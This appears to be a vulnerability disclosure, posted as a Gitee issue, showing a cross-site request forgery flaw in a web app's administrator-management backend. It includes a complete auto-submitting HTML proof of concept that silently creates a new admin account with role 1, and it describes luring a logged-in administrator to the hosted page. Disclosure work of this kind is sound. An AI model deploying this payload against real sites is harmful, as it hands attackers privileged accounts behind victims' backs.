Cross-Site Request Forgery

1. Log in to the backend, click Admin Management, then click Admin List, and then click the plus sign to add Admin
![输入图片说明](https://foruda.gitee.com/images/1741499605131569193/d5cd6fe3_13337431.png "屏幕截图")
After adding the information, click Submit to capture the packet
![输入图片说明](https://foruda.gitee.com/images/1741499644483821316/b4dd2571_13337431.png "屏幕截图")
2. Click Generate CSRF PoC
![输入图片说明](https://foruda.gitee.com/images/1741499674018492193/4301aad2_13337431.png "屏幕截图")

```
<html>
  
  <body>
    <form action="http://192.168.203.128:8080/administrator/list" method="POST">
      <input type="hidden" name="loginName" value="jjjjjjjjjj" />
      <input type="hidden" name="loginPassword" value="123456" />
      <input type="hidden" name="userName" value="fffffffffff" />
      <input type="hidden" name="realName" value="ggggggggggg" />
      <input type="hidden" name="email" value="g&#64;qq&#46;com" />
      <input type="hidden" name="telephone" value="13265445654" />
      <input type="hidden" name="sex" value="0" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="roleId" value="1" />
      <input type="hidden" name="organizationId" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```
3. Save the above code as html and put it on your own website, I saved it as b.html

4. It can be observed that the list of administrators at this time is three users, inducing administrators to access b.html, http://192.168.203.128/b.html
![输入图片说明](https://foruda.gitee.com/images/1741499726761176488/8c001b4f_13337431.png "屏幕截图")

You can see that it succeeded
![输入图片说明](https://foruda.gitee.com/images/1741499753360994392/ba8d9ff0_13337431.png "屏幕截图")
5. Return to the administrator for observation, and you can see that the addition is successful
![输入图片说明](https://foruda.gitee.com/images/1741499776696979043/1bc2807d_13337431.png "屏幕截图")

猫宁i/Morning

Content Risk Flag

Comments (0)

猫宁i/Morning .gitee-modal { width: 500px !important; }

Content Risk Flag